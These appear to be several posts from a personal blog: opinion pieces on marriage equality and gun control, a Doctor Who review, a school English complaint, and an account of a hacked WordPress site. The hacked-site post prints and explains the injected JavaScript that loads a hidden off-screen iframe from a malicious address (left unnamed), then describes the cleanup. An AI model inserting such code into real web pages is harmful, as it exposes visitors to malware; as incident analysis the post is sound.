It’s Time for Change

Public Domain image by Petr Kratochvil.

Warning: The topic of this post is very heavily debated, and some may be offended. Reader’s discretion is advised.

Hello, and welcome to another Benaball blog post. Sit back, get some snacks. This will be a lengthy read.

This isn’t one of my regular posts, with me bringing up things that average teenagers get affected by. Take my most recent post for example, in which I analysed an article about a study that showed that the average Australian is a gamer… Go read it, it’s quite interesting.

I digress, however. This post is not one I would normally write, but given the current circumstances in not just the US but Australia, I thought I would shed some light on this subject: Marriage equality. A controversial topic to say the least, but has become a much more relevant discussion in the past 12 months due to it being passed within the American government. Australia has only just recently, up until this week, had a very heated debate on the subject on multiple fronts. This includes not only the government, but in protests and conferences involving religious and homosexual rights groups.

I myself have had a few discussions about this, in fact only just last night I had one with my parents: I was for it, while both of my parents were against it. That is because of their upbringing, sure. They are both Christians, they may not go to church any more but they still believe in the ideals of the religion. That’s fine, I don’t discriminate.

Moving on, though. That discussion caused me to do a lot more thinking, from a logical perspective. For the record, I’m an atheist, so if my views are very open minded (or closed minded, depending how you think), that is why. I like to eliminate bias in my arguments, woo!

So let’s begin with the most common arguments against the topic that I have heard. There are three main points that seem to be the most prominent for me. They are:

  • When a gay couple want a child and have one (through whatever means), their “lifestyle” will impact on that child’s “choices.”
  • Homosexual couples will influence others to turn to their “lifestyle” and hence it will create a snowball effect in future generations.
  • Marriage is meant for “normal” people, as it gives children a Mum and a Dad.

These arguments you may agree with, depending upon your own ideals. I’m going analyse each one and evaluate, the best I can.

When a gay couple want a child and have one (through whatever means), their “lifestyle” will impact on that child’s “choices.”

Let’s picture this scenario. I have heard again and again that if a child were to walk in on two men or two women (parents or not) together in a room (fully clothed, get your mind out of the gutter xD), being a couple and having a moment, that child would get in their mind that that is the only and normal way people are meant to be, which is being with someone of the same gender. Sure, if the child was old enough to have some idea of a relationship, that could make sense. Right? No.

Let’s put the shoe on the other foot. A kid walks in on a man and a woman together, in the exact same scenario. Does the child think that is the only way to be? So in reality, the argument could be made against a heterosexual couple, in which their “lifestyle” impacts upon the child’s future. See how ridiculous this sounds? People don’t just decide to be gay, it’s comes about during puberty. You are either attracted to men or women, or both (props to you). It’s a natural thing that your body decides, not your self-conscience. If you want to know how your body does this, well… Google it.

Homosexual couples will influence others to turn to their “lifestyle” and hence it will create a snowball effect in future generations.

This one, oh man. Possibly the most flawed of the arguments, and it links in with the previous argument. As I said before, people don’t just choose to be gay. It isn’t decided by their experiences, but their body. And what is even more sad is that this makes homosexuality seem like a plague, or a virus. Being gay isn’t a lifestyle. It’s a natural thing that occurs in all species, not just humans.

Marriage is meant for “normal” people, as it gives children a Mum and a Dad.

Let’s begin this by saying that the current idea of marriage to the vast majority of people is it is a thing that couples do when they love each other, pure and simple. Marriage has had multiple purposes and definitions, and has mostly originated through religious means. Originally, for hundreds of years it symbolised the man’s ownership of a women. Thankfully, that isn’t the case in most cultures now. So if the underlying purpose of marriage is “love”, then why does it just have to be between a heterosexual couple only? Why can’t it be between a same-sex couple? And how are they not normal? They’re human beings!

In response to the second part of the argument, marriage doesn’t mean children are required. Quite a lot of people get married and don’t have children. Some physically can’t have children. According to an article from March 2013 on WashingtonPost, 48% of first children in the US are to parents that aren’t married. Sure, not all children are a product of love, but that isn’t what we are discussing. I guess what I am trying to put across here is that marriage is not permission to have children. So fundamentally, this argument is flawed in that only 52% of first births are the product of marriage, not 100%. But remember, this is about births; the parents aren’t necessarily heterosexual. The babies could be products of IVF and sperm donation. Thus the mother of the child may actually be in a relationship with another woman. Heck, the guy donating the sperm could be gay!

So overall, why is same-sex marriage not legal? It clearly has a place in our society, it is a real thing that should be embraced. The two problems that are preventing this from happening? Religion and the government. The legal systems decides these things, and religion is prominent within it. So the odds of it being approved: Slim to none.

My view on the question is simple: IT SHOULD BE A THING.

Let’s have a nice discussion in the comments, no hostility. And if you disagree, let me know, but be nice 🙂

Thank you for reading,

The Festologist.

The Named Ones

Written in an angered and sleep-deprived state. Don't read if you are offended by the truth.

In Australia there was once a time where you could kill 11 people a second for under $1,000. From newspaper advertisement, to mass murderer. Just a pull of the trigger and a turn of the feet, and that crowded tourist location could become the resting place of more than those who were originally mentioned by its tour guides.

If only all of those people had turned up with their pistols and semi-automatic rifles when visiting Port Arthur with their families. Maybe then Martin wouldn’t have been able to kill as many people as he did, because as every dreaming lunatic would know, they would have been ready to whip out their guns, and start firing back counter-shots with utmost precision.

Everyone’s an ammunitions expert after all.

I can somewhat grasp a vision of this fantasy world they have in mind. As though you’re watching some corny action film filled with good guys and bad guys, heroes and villains. Where every family is ready to have their gun-trained mother or father pull the rifle from their shoulder, (the one they’ve been carrying through all the gift shops, supermarkets and daycare centers) and fire at any potential threat to their wellbeing. Don’t forget that their gun would have to be pre-loaded, because if it wasn’t, they wouldn’t be able to defend themselves if a crazy gunman came out of nowhere. (Unless they’re a family of 12 or more, at least that’d give them a second or two to get their weapon ready.)

Massacres don’t happen because people are unarmed. You are abnormally delusional if you think that the reason so many die from gun violence is because not enough people are holding guns.

In the real world, interacting with people who are ‘out-of-it’ is already a disturbing occurrence. Whether they’re walking along the side of the road drunk, and potentially drugged, or sitting in the pub, swearing their head off at the cashier for refusing to serve them more alcohol. These situations wouldn’t at all be aided by weapons, in any shape or form, instead, this desire to be ‘constantly on alert’ with a firearm is just the foundation of its own paranoia.

Currently, that man would just be escorted from the premises, by nearby security, or police if necessary. It happens every Friday night here in Australia, and in much larger numbers than the one drunk man in my example. Add guns to this situation, and it becomes needlessly endowed with unnecessary friction. Suddenly, we have the potential for life threatening taunts to security guards, opposed to a drunken ‘lemme get another f***kin’ drink.’ Let’s not forget, all-guns are all-good in this hypothetical – these guys could be carrying semiautomatic weapons. Sure, maybe you can’t aim when you’re drunk… but at 700 rounds per minute, you get a bit of leniency in that department.

Perhaps my example comes across as an absurd clasping of straws, but the fact of the matter is – the situations you prepare yourself for, where the murderer enters your house and you’re ready in the dark with a shotgun in hand: they’re not your typical occurrence. You’re preparing for an unlikely event, and in doing so, making such events more likely. It’s circular-reasoning in action.

“I need guns, to protect myself from other people with guns,”

In the same way that illicit drugs are regulated to minimize their impact on society, gun regulation would save lives, despite only making it harder, not impossible, to obtain a gun.
This has already worked already in Australia, and I know, that you’ve heard this a hundred times already if you’re a gun-supporter, and you’re sick of it. But I’m equally sick of hearing the misaligned priorities when yet another report of a massacre hits, and all the pro-gun arguments can spit out is the colossal waste of a human thought:
“If they had guns to defend themselves, this wouldn’t have happened.”

35 lives, 28 lives7 lives. Whatever the statistic.
These were people, and increasingly, children.

It’s still bloody happening, and it’s going to continue to happen if nothing changes.

Often, people trying to refute the success of Australia’s gun regulation will argue that despite the heavy regulation of firearms, hostages were held at gunpoint by a man with an unlicensed shotgun in Sydney late last year. A single event, compared to the months of school massacres coming in the news from abroad? A sign of desperation to confirm a flawed bias.

I said before. Yes, these events happen. Where there’s good, there’s bad.

But adding guns to society just increases the occurrence of these events.

Are there still guns in Australia? Yes.

But, just as with illicit drugs, regulation has minimized the impact they have on society.
When that minimization equates to saving over 30,000 lives a year, I consider that a minimization worth bloody taking.

Fall in September

If you’re an inhabitant of the Northern Hemisphere, a ‘Fall in September‘ is an entirely normal occurrence. In fact, it’s probably means that my title is incredibly mundane to the majority of my international audience. However, here in Australia, an Autumn in September would be a rather strange climatic event. One that would certainly boost the intrigue of my title on a national level. I think I can live with that.

Then again, perhaps this strange climatic event is why I was caught off-guard when my website was infected with malware last weekend; I didn’t expect a Fall, during Spring.

Just when I thought I already had way too much to do…




Screenshot of the random PHP files scattered throughout the system
Screenshot of malicious PHP files

Last weekend, (coincidentally the beginning of Fall) someone gained access to my site through the use of PHP injection. By exploiting a vulnerability in an old PHP Gallery I installed a number of years ago they were able to create a series of malicious files throughout the website’s filesystem; randomly-named ‘.php’ files that harboured base64 code (usually used by malware to execute commands in a hidden manner).

Then they set up a cron job (an automatic task) to periodically add malicious code to every JavaScript file on the website. For the non-tech-savy, JavaScript is used in a multitude of interactive website elements and controls. The post slider on the front page, the comment section and the ‘lightbox’, used for viewing images when you click on them, are examples of things on my website that use JavaScript. Every single JavaScript file on my site had been injected with code that would secretly open a website off-screen, which I suspect was intended to download malware onto the computers of my website’s visitors. It also installs a tracking cookie with the name ‘lirmanusik.’

– Example of what the malware addresses sort-of looked like

The web addresses that appeared within this code were always changing. It would always follow the same structure, a random sub domain (http://something.), the web address ( and then a random html file at the end (randomfile.html).

What is even more concerning is that the sites that would appear to be legitimate ones. Of the sites that appeared among my Javascript files, one was a Photography site, the other was for Swedish Cuisine, and when I did a Google search for of one of these two sites, Google’s Blacklist indicated that “The site may be hacked.” It could be that my site was among those that came up as a link in someone else’s hacked JavaScript files during the time that my site was compromised. Though I doubt it. As creating sub domain would require DNS access (web-address-stuff), which is much higher than what the intruders of my site would have had.

I am still unsure as to whether the cron-job was responsible for choosing when to regenerate the code and change the address or whether hackers/bots used the Base64 php files control the code externally.




01. /*
02. Copyright (C) 2007 Free Software Foundation, Inc.
03. */
04. function Art_protection() {
05. function setCookie(name, value, expires) {
06. var date = new Date( new Date().getTime() + expires*1000 );
07. document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
08. }
09. function takeOrlondo(name) {
10. var nachos = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, '\$1') + "=([^;]*)" ));
11. return nachos ? decodeURIComponent(nachos[1]) : undefined;
12. }
13. var cookie = takeOrlondo('lirmanusik');
14. if (cookie == undefined) {
15. setCookie('lirmanusik', true, 259200);
16. document.write('{iframe} style="top: -999px; left: -999px; position: absolute;" src="dangerous virus link" width="131" height="131"{/iframe}');
17. }
18. }
19. Art_protection();

The code itself gets into the gritty stuff at line 13; where it creates a variable named ‘cookie,’ and uses the ‘takeOrlondo‘ function on line 9 to find the ‘lirmanusik‘ cookie and it’s value using a comedically-named ‘nachos’ variable along with the ‘RegExp()‘ function on line 10. If the cookie isn’t installed, or has no value, it will return an ‘undefined‘ value. The ‘cookie‘ variable on line 13 is set to the output of ‘takeOrlondo.’ At line 14 the code checks to see what the value of ‘cookie’ is, and if it hasn’t been set, it creates the cookie. On line 15 information is provided to the ‘setCookie‘ function, the name of the cookie, ‘lirmanusik,‘ whether or not it stores data on the computer, true, and when it expires, ‘259200’. This information is then in putted into the ‘setCookie‘ function on line 4, which officially creates the cookie using ‘document.cookie.‘ Even though the expiry date of the cookie may appear large due to all the digits… the cookie in reality expires in about 3 days after the expiry number is converted from Unix time to a time string.

Now that the cookie is set, the ‘document.write‘ function on line 16 gets naughty, using an iframe that is positioned out of view of the web browser (and web readers) a malicious website is loaded. This web address changes constantly, because it is being updated by the cron job I mentioned earlier. I also suspect that the base64 code within the PHP files are being used by hackers to tell my website which dodgy virus link to display next – mainly because my access logs show that people are constantly trying to access those files, even though they’ve been deleted. Chances are it’s not even people doing this, just an automated hacking system designed with “being a prick in” mind.I of course will investigate this reasoning further if time allows.




I was first notified of my website’s new-found malware-spreading hobby by Google, who sent me an email alerting me of the injected code. I immediately closed the site down with a ‘ZOMBIE-STYLE QUARANTINE’ page being shown to all visitors from that point on, and then I dove into discovering how and where the injection occurred.

Among my first attempts to clean the site was to delete the code that was appearing in my JavaScript files, but this code would reappear after a few minutes due to the cron-job. (or the hacker-bots sending commands through the Base64 php files) I then discovered the injected php files after contacting my hosting provider, Digital Pacific (Really fantastic company by the way) who provided me with a list of suspect files. The list is incredibly long.

Combined with my access logs, I could see a timeline of how my site was compromised, and I decided that the most reliable way of fixing my site… was to delete it.

  1. To start with I backed up the entire contents of my site… and then deleted everything. SQL tables, php files, WordPress, the lovely php Gallery that caused all the grief – the lot. My server was clean.
  2. Then I reinstalled WordPress from scratch and made sure it’s SQL settings were different to what they were before, just in case the intruders had been able to access ‘wp-config.php‘ when my site was compromised and read the SQL password that WordPress uses to manage content on the site.
  3. Using the WordPress Codex’s ‘Hardening WordPress’ resource, among others, I went through tightening up security. I also rewrote my ‘.htacess‘ file to make things even more difficult.
  4. I then reinstalled my content, users, posts, pages from the backup I made, and started installing some of the plugins I had before, this time however, carefully checking each one to ensure that the developers were experienced and trustworthy.
  5. Opened the site back up, with a few added security plugins, ready to take on the world.

Other than having a few issues with CloudFlare caching the infected JavaScript files to visitors even after I cleared the cache, everything is working… probably better… than it used to.




  • If you are a regular viewer of Ben-A-Ball, or a visitor that stumbled across the site by accident during the last few weeks, I would recommend that you look for, and delete, the ‘lirmanusik‘ cookie from your browser, and run an anti-virus check.
  • If you use the same password on every website you visit, then you should probably change it on those other sites. Like… right now.
  • If you have your own php-based website, check it. Check it again, and keep checking. Lock that thing down and keep an eye on who accesses it, because all it takes is one file to be exploited for your website to start serving up viruses to it’s readers.




As far as I’m aware. No.

If they did they would only have the email address and encrypted passwords of everyone on the website. The code and logs I’ve seen, (plus the various bots trying to break into my website by entering ‘admin’ as the username… that’s not my username) indicate that no user data was accessed.

However, this is only the code on my website. The websites the iframes were embedding in my site are something I’m not entirely sure about. Even though I did a fair amount of experimentation using VirtualBox visiting my malware-infected website to TRY and get the virus,  I never was able to. I’m not sure what the deal is with the sites there were linking to, but the fact that they are changed regularly would suggest that the sites aren’t online for very long – and perhaps the time span when you can get infected is right at the beginning of the ‘new malware address’ being posted.




All in all, I really wish that the hacking could have happened at a later date when I didn’t have so much on… then again… I guess it ignited some blogging passion if chose to write this post. Far out so many words, I wish my English and Legal essays would flow from my mind this quickly. As a personal post this was very bland, I feel that it’s empty and doesn’t really express my thoughts very well… but hopefully it will prove useful to others that are experiencing the same issues with JavaScript and PHP Injection Hacking on WordPress.
Original image by Giani Pralea

So should I sit back and relax? Job well done? Eh… maybe. I’ll most definitely be keeping a close eye on things from this point onwards. The hackers/bots/people/dogs are still out there, and my logs show them walking around outside, checking every door and window trying to find another weak spot. It’s something I never really paid much attention to before, but since I started writing this post, 30 people/bots have tried logging into the admin panel using my username and 15 people/bots have tried accessing and issuing commands to the php malware files that no longer exist. Countries like the United States, Norway, China, Russia and the United Kingdom keep appearing on my list as the main culprits… but this is based the often unreliable tracing of an IP address location.


Love the internet.




English: Philosophy with handcuffs, expression with a restraining order.

For clarification, by ‘English’ I’m referring to School English, because if there’s one thing I’ve noticed this year doing English as a school subject… it’s that it’s quite flawed in the way it expects you to answer as analytically and as to-the-book as possible… while at the same time asking you to somehow express yourself, without expressing yourself.

Handcuffs by jodylehigh
Handcuffs by jodylehigh

“Ben must have chosen to use a picture of handcuffs to imply a sense of entrapment. The lack of colour describes a lack of joy for his writing when writing at school. The vignette closes in on the center of the picture – suggesting that he wants people to see what’s right in front of them. When metal is cold, it is very rigid – just as Ben stands his ground when he hasn’t warmed up to someone yet.”

“No, I needed a relevant thumbnail.”

I’ve received multiple marks telling me that I need to tone down my use of metaphors, and to calm down on the expansion of my ideas. Even in assignments that are supposed to be ‘Reflective’ pieces. You want me to reflect my thoughts? This is me reflecting my thoughts. How can anyone insist that I’m not following the task correctly if they’re asking me to reflect?

The irony is the hypocrisy that lies within the very essence of the course. Here is some educational organisation telling me that I need to refrain from my philosophical thoughts, in particular, I need to stop expanding the wrong ideas. All the while they follow the same train of thought. I mean for crying out loud, if you can figure out how to devote an ENTIRE YEAR’s worth of secondary education to a single word (“belonging”)… you’re either really good at philosophy, insane or have a fetish for repetition. If you constructed this English course and you’re reading this; don’t worry, it’s a multi-choice infliction. So take your pick, the minimum choice is 3.

Any question that says, “What do you think the author means when…” should be an instant A+ upon answering it. If I’m telling you what I think the author means, then I’m answering the question correctly. Even if it’s something as simple as, “Well, I think the author was just tired and wanted to finish the story, so that’s why the pig’s name is Bore.” That should be correct! But no! It’s not! “Elaborate!”, “Criteria 1”, “Link back to your text.” Why?

I’ve never actually given such an answer before, but I have given a serious ‘what I think’ response and received a whole lot of Criteria-charged flack in return. If you want me to write what you want me to write, then say, “What do we want you to think the author means when…” Much better. Straight to the truth, bypasses the confusion and no identity issues when trying to figure out if a thought is mine, or theirs.

Yes, I get it. This author did a good job on a book, this other author did a good job too. You love these authors and think that they’re trying to tell us all a deep message and that they’re all linked together in perfect harmony. Well, hate to break it to you… but often the deep messages you think you see are total bull excrement.

All the connections we’re making with the stuff we’re watching and reading – hardly any of it is intended. It’s the way humans work. When we look at things for too long, we end up seeing things that aren’t there. We go pedantic with all these tiny little ideas. It’s the same thing as when you’ve packed your bags to go on a camping trip and you think that you’ve forgotten something. The more you think about it, the more you begin to worry and question your own actions. “Did I shut the back door? Did I lock it?”

School-taught English in a nutshell.

For your entertainment, I’ve written a mark for this blog post based on actual marks I’ve received. I don’t mean to offend my teacher – obviously they have to mark to the criteria that’s given to them. They’ve told me they enjoy my writing, but they can’t mark it higher based on the ‘students must think like this’ system the education department have in place. 😉


“This reflection should be your own, don’t use ‘we’ , ‘your’, ‘you’re’ – don’t ask rhetorical questions of your reader.”

“Keep the balance. An abundance of original ideas.”

“Refer more specifically to ideas that require judicious evidence.”

“Write in first person.”

“Only use italics for a publication.”

“Elaborate on why you don’t like reflecting.”


My Thoughts: “The Day of the Doctor”



Hello once again and welcome to: ‘I’m Pretty Geeky, This is a Geeky Post – Get Over It!’


These are my thoughts on the BBC’s Special 50th Anniversary episode of Doctor Who, an episode that I had high expectations for… and as a result, an episode which I woke up early in the morning (well, early compared to my usual awakening hour) to watch.

If you really liked the episode, and dislike others’ opinions… I suggest you stop reading this now.  My opinion doesn’t effect the video whatsoever, and it’s certainly not a concrete rating of any kind.  Whether something is ‘good’ or ‘bad’ is a variable determined by whoever’s watching it and what they think about it.  Basically what I’m saying is: don’t take this post the wrong way.

First up, let me talk about what I liked.  Then I’ll tell you about the things that kept ripping me away from the story and stopping me from feeling immersed, and ultimately, enjoying the special event.

What I Liked

I’m probably going to miss stuff out – I might come back and add to this if I remember other things I enjoyed.


As someone who’s produced a fair few videos myself – I am aware how much time and effort went into the production of the 50th Anniversary. It’s pretty impressive, especially given the time frame.


  • Unlike the Doctor Who documentary ‘An Adventure In Space And Time’, where the Doctor glitches in-front of the TARDIS console between two shots, I didn’t notice any visual issues in ‘The Day of the Doctor’ at all… well… apart from at the end with the awkward looking 2D Doctors standing in unison.  But what do you expect?  Recreating the Doctors in 3D for that shot would have been too time consuming.  They’ve been editing for months as it is! For the length of the shot, and the fan glowing inside me, it was fine. =)
  • The other effects like the paralax action going on with the 3D paintings was pretty damn nice.
  • Costumes, sets – everything was to the high standard we’ve come to expect from the more recent era of Doctor Who – although the Time War did seem a bit too Star Warsy…  I almost wish they had kept it out – because my vision of the Time War was so much larger and complicated than what was shown to us on screen. Time Lords in control of space and time using lasers like Stormtroopers? What’s up with that?


There were some funny references, as well as nostalgic ones in the 50th Anniversary.

  • Although I thought that the scarf the UNIT woman was wearing was a bit corny, as well as a bit of an obvious hint that we’d probably see Tom Baker later in the episode – even so, it was a clever ploy to introduce the scene that lays a crucial foundation for the next series of Doctor Who.
  • Clara working at the school that Susan used to go to – with the scrapyard where the TARDIS used to be parked just around the corner, the moment I saw that sign at the start, I smiled.
  • Rose’s BAD WOLF ‘incarnation’ – I wanted to mention this here – even though I’m not drWho9particularly fond of the idea. (Rhyming… woo!)  It didn’t really make too much sense… Obviously the machine (“The Moment”) wanted to choose an appearance for the War Doctor to interact with – and in doing so, chose one a bit further along in his timeline than it had planned… but it seemed like a waste when it comes to involving her in the show.
  • The joke about covering up the TARDIS/Helicopter ordeal by blaming it on Darren Brown and sending him some flowers again, was brilliant.
  • In the black archive, pictures of Susan and companions on the board, as well as Cybermen gear and Captain Jack’s not-your-ordinary-wrist-watch.
  • The Tennant Doctor’s use of old lines. While this was interesting – it did also annoy me to a degree, more on why this annoyed me is later on in this post.
  • And of course, although I didn’t pick up on many of them – there are various references to Classic Doctor Who, like the Brigadier’s daughter – and her mention of ‘Cromer’, the drWho14location believed to be the location of the UNIT base, from ‘The Three Doctors’ special in the early 1970s.
  • Seeing the 9th Doctor begin to regenerate into the 9th Doctor… well, 10th Doctor now…


The acting of the cast was immensely good, apart from a few of the extras that seemed a bit unnatural… Queen Elizabeth I for example, though maybe she actually acted like that.  IN WHICH CASE, I’m an idiot.  I must add that David did seem a bit odd, obviously this could be partly to do with the fact he hasn’t played the role in a few years.  There are quite a few lines I enjoyed, especially when the Doctor was bickering with himself.

  • “One of them is a Zygon.” “Eeeeh, I’m not judging you.” – David’s Doctor and Matt’s Doctor talking about the two Queen Elizabeths standing before them.
  • Then later after the Queen’s both kissed Tennant’s Doctor:
    “One of those was a Zygon.”
    “Big red rubbery thing, covered in suckers…”
    “Yeap.” “Venom sacs in the tongue…”
    “Yeah, I’m getting the point thank you.”


  • “Well, this has all the makings of your lucky day.” – John’s Doctor, When the English guards are talking about beheading the Doctor was hilarious. John Hurt had quite a few brilliant lines.


  • “They’re screwdrivers! What are you going to do, assemble a cabinet at them?” – John’s Doctor when 10 and 11 (or 11 and 12) are standing waving their screwdrivers at the guards.drWho11
  • “We’re confusing the polarity” – David’s Doctor, this line was brilliant, loved it.
  • The entire segment where David’s Doctor rips into Matt’s Doctor about forgetting the body count.  It was such an intense moment that fitted the character of both Doctors – it’s exactly the way you’d expect them to act.  It was beautiful.

What I Didn’t Like

Yeah… here we go.


The plot, as it has with quite a few of Moffat’s Doctor Who episodes – has a few significant holes in it.  Obviously plot holes in Doctor Who, a show running for 50 years… is inevitable.  But some of the plot holes and unexplained altercations are recently ’caused’ – and they just remove me from the immersion of the story and leave me a bit unsatisfied.  Most of these are Moffat just refuting things that happened in the Russel T Davies series of Doctor Who – but he still included the Time Lock from ‘End of Time’? He’s cherry picking plot devices. Will I come back and add to this? Probably. *Evil Laugh*

  • The phone on the TARDIS doesn’t work – it’s not connected.  The one on the TARDIS console is the one that works.  We found this out with the 9th (10th) Doctor in ‘The Empty Child.’ So the TARDIS has changed to include a working phone now? Well, that’s one way of getting the Doctor to the door for that lovely dangling intro shot I guess…


  • How the hell is the Doctor holding on to the TARDIS here?! How convenient… the TARDIS now also includes hand-grips on the base of the TARDIS.
  • I mentioned this earlier – I think Rose could have been involved more effectively in the episode.  But I think there are quite a few living Doctors and companions that could have been involved in the production as well. I found the other 50th Anniversary special video ‘The Five(ish) Doctors‘ far more of a comforting Doctor Who universe than the Doctor Who episode itself!  We see Peter Davison (5th Doctor), Sylvester McCoy (7th Doctor), Colin Baker (6th Doctor), Matt Smith (11th… 12th Doctor), Jenna Coleman (Clara), Paul McGann (8th Doctor), David Tennant (10th…11th Doctor), Georgia Moffett (The Doctor’s Daughter), John Barrowman (Captain Jack), Stefan Moffat (Current Doctor Who Writer), Russel T Davies (Previous Doctor Who Writer), Peter Jackson (Film Director, The Hobbit), Ian McKellen (Actor, Gandalf)… AND SO MANY MORE, there were family members of the original Doctors, Dalek operators – it was packed with people from the Doctor Who universe.  However in a fourth-wall-breaking ‘mocumentary’ styled sort of short film.


  • The Doctors ran the calculation on their screwdriver to figure out how to disintegrate the door… but how could the Doctor’s screwdriver calculate something over centuries if it’s been broken, burnt out and replaced multiple times…  It’s not the same screwdriver that’s been upgraded… In ‘Smith and Jones’ the Doctor sacrifices his screwdriver to take out a ‘slab’… the screwdriver is toasted to a crisp, and then the Doctor throws the screwdriver over his shoulder.  Then he loses his screwdriver again at the start of Matt drWho15Smith’s era, in ‘Eleventh Hour’ which results in him getting the new green sonic screwdriver. Is there some telepathic screwdriver calculation field we haven’t heard about?  Because that’s one durable calculation… maybe the Doctor has ‘iCloud for Sonic Screwdrivers.’
  • Somehow all the Doctors were involved in the Gallifrey Time-Lock plan… Wait… so the first Doctor knew that he would have to Time-Lock Gallifrey and started doing the necessary calculations to perform this incredible maneuver – taking into account that in the future he would have 12 other Doctors and their TARDIS’s helping him?  Then after that, somehow, every Doctor proceeding the first remembered to continue on with the calculations leading up until the recent Doctors… then they forget about Time-Locking Gallifrey, toil with the idea of destroying it… and then come up with the idea to Time-Lock Gallifrey? What? Even if I haven’t followed that right, Hurt’s Doctor loses his memory of the whole ordeal because of the ‘Time-Sync’ issue, SO does Tennant’s Doctor – so if that’s the case, he wouldn’t remember about the Time-Lock, or doing the calculations… IT DOESN’T MAKE SENSE. I really like the last scene, and it sent chills up my spine… but that drWho13detracted from it substantially.
  • And speaking of ‘Heroic’… Clara described John’s Doctor as the Warrior, David’s as the Hero… and before saying that Matt’s Doctor is the Doctor… she said that ‘any old idiot can be a hero’. Uh… okay. Ouch.  I know, I know I’m sounding like one of those argumentative Facebook pillocks playing the ‘he said, she said’ game… They probably didn’t even think about it that way when they wrote the script… but it’s not the only time this episode David’s Doctor is knocked down to ensure that Matt’s Doctor remains the most important Doctor on the scene.  It’s the 50th Special guys, surely we can forget about trying to make our Doctor look better than the previous writers’ Doctors.’


  • At the end, the Zygons and humans are in the Black Archive… any negotiations
    they made in there would be meaningless by the time they walk out because they would forget everything that happened.
  • Not only that, but there were 6 Zygons hiding downstairs… and only 3 went into the Black Archive. What were the other Zygons doing then?
  • Although somewhat out-of-place, the 10th (I guess 11th now?) Doctor giving his serious speech to that rabbit was funny, however, I do feel he was acting a bit too idiotically for his character.
    David Tennant’s Doctor had some incredibly powerful moments… which were seemingly defecated on in this 50th Special.  His heroic line in ‘Voyage of the Damned’ has gone from a serious Doctor-taking-charge moment into something he just says to everyone.  Including rabbits.  I could have probably sailed with that, one line… no problem. BUT THEN at the end, he says when talking about Trenzalore, “I don’t want to go.” Matt’s Doctor then says to Clara, “He always says that.”  No he doesn’t… At this point in time he’s NEVER said it.  He will only ever say it ONCE.  After giving his life for Wilfred, and saying farewell to all of his companions. I guess Matt Smith’s Doctor is saying this ironically as a private joke with Clara, who’s seen the entire timeline of the Doctor and would know what he’s talking about… But all I see is Moffat jumping into the Davies timeline before the Tennant Doctor dies, and making his final-words-to-be just a ‘meaningless thing that he says all the time.’
  • ^ Does Clara still remember everything she saw in the Doctor’s timeline?  I think she must because she recognized Tennant in ‘locked’ prison cell.


  • David Tennant’s Doctor is kissing like crazy – and the proposal thing? I get why they did it… but he isn’t supposed to remember the events that occur with the other Doctors… but then he mentions that he got married to the Ood in ‘End of Time.’

Other things of note:

I don’t want to come across as too picky… haha, who am I kidding. Well done… that’s exactly what I’ve done.  But these are other things I wanted to make note of – they wouldn’t have ruined the 50th Anniversary for me, but they were minor things that I thought about.

  • The Zygons… the seem like a bit of an odd addition, they could have done just fine in an episode of their own.
  • The War Doctor (9th?) told the (11th and 12th?) other two Doctors that they’re wasting their time waving their screwdrivers about at the English soldiers… yet they fight of a Dalek with them? I guess they’re just controlling the pace of time taking place inside the painting – but I don’t know. =/
  • Allons-y seemed like it was used a bit unnecessarily. It’s the first word you hear the 10th Doctor say, then he says it again at the end when flying the TARDIS.  I was pretty sure that he said it 3 times during the special, but after glancing back through the episode I think I must be wrong.  I think introducing Tennant with ‘Allons-y’ wasn’t needed…  They should have saved it to the end, made it truly special.
  • Clara, like many other recent companions, seems to be the sole decision making body in the Doctor’s mind.  We have three drWho12Doctors about to pull the plug – David’s doctor was so angry about it, and Matt’s Doctor regretted it every day. Yet, Clara is the one to tell him to come up with another plan.  (One that as I mentioned, he already supposedly had been figuring out for centuries.)
    However, obviously part of this companions being the ‘moral compass’ thing is to do with the Doctor forgetting about how to react.  He’s become a torn character that seems to need guidance – heck, that’s why he explores the universe with companions – because he’s gotten used to everything, so he needs someone to remind him how amazing it is.  Well at least, that’s how it was during Russel T Davies era… Who NOSE! Obviously not a total set back to the story, but something that did make me think.
  • So there we have it… for now… unless I decide to add something that I forgot. Obviously this episode was massive, there was a lot going on – and a lot of references everywhere you look.  But more importantly, everyone will experience it differently. I feel starved when it comes to Doctor Who… I haven’t had a satisfying feeling after watching a Doctor Who episode for some time now.  I still want to watch and I still want to follow what’s  going on – because I do love the concept and the universe surrounding it… but I’m not feeling content like I used to when watching Doctor Who. There are many other shows on television like Being Human, The Originals and Arrow, (Sherlock would be here too… but you need to get on the new series ASAP Mr Moffat) that I feel satisfied with after watching them.  My ‘story hunger’ is fed, it no longer hurts… but I still have the craving for new episodes… Doctor Who on the other hand… I’m getting breadcrumbs leading to an empty room…

Wow, so the Doctor wouldn’t remember this right? So perhaps the memory-wiping device on the wall of the Black Archive has something to do with that? Nah… It’s some time-sync issue, that didn’t exist when we had the Peter Davison and David Tennant mini-episode for Red Nose day…

Agh… Am I expecting too much?  Why am I expecting a believable plot solution to come out of adrWho10 SciFi show that involves travelling through time and space? A scientific impossibility, well, if you’re trying to travel backwards in time…

The way Moffat’s storylines work continue to leave me starving and

missing the satisfaction I used to get from watching Doctor Who as a child. His problem is that his plot solutions often come out of nowhere and can’t be figured out during the episode because it’s some insane thing that’s never even been referenced before… ever. AS a poorly written example:

PROBLEM: The lawn needs mowing.
SOLUTION: We saw a shed earlier on that potentially harbors a lawn mower.
MOFFAT SOLUTION: The grass begins to shrink… by growing in reverse.  The Doctor has upset the local flow of time because his TARDIS has parked in this same spot before – even though there isn’t an episode where he has parked here before, and the TARDIS has never modified time before by parking in the same spot, as exampled by the TARDIS’s visits to CARDIFF multiple times to recharge… but why would that matter? That’s a Russel T Davies issue, we’re in a new Moffat Universe Baby!

I shouldn’t have bothered writing that… Why did I choose mowing the lawn?  That’s the most mundane thing I could have picked to demonstrate a point.  Of course Moffat’s solution in this example would be more entertaining than actually… mowing the damn lawn…  But hopefully you sort-of get what I’m talking about.

There we go, I think I’ll end it here.  I think I’m being a bit over the top… which actually speaks more highly of Doctor Who in a sense – because I’m being as harsh about it as I am with my own work.  I question my own stories and films to the same extent – I guess it just shows how much I consider Doctor Who a part of my life if I feel like I have to critique it in the same manner.

Nonetheless, thanks so much for reading.

See you later,



‘Journey to the Centre of the TARDIS’

the Serious Doctor… who really needs way, way more screen time.

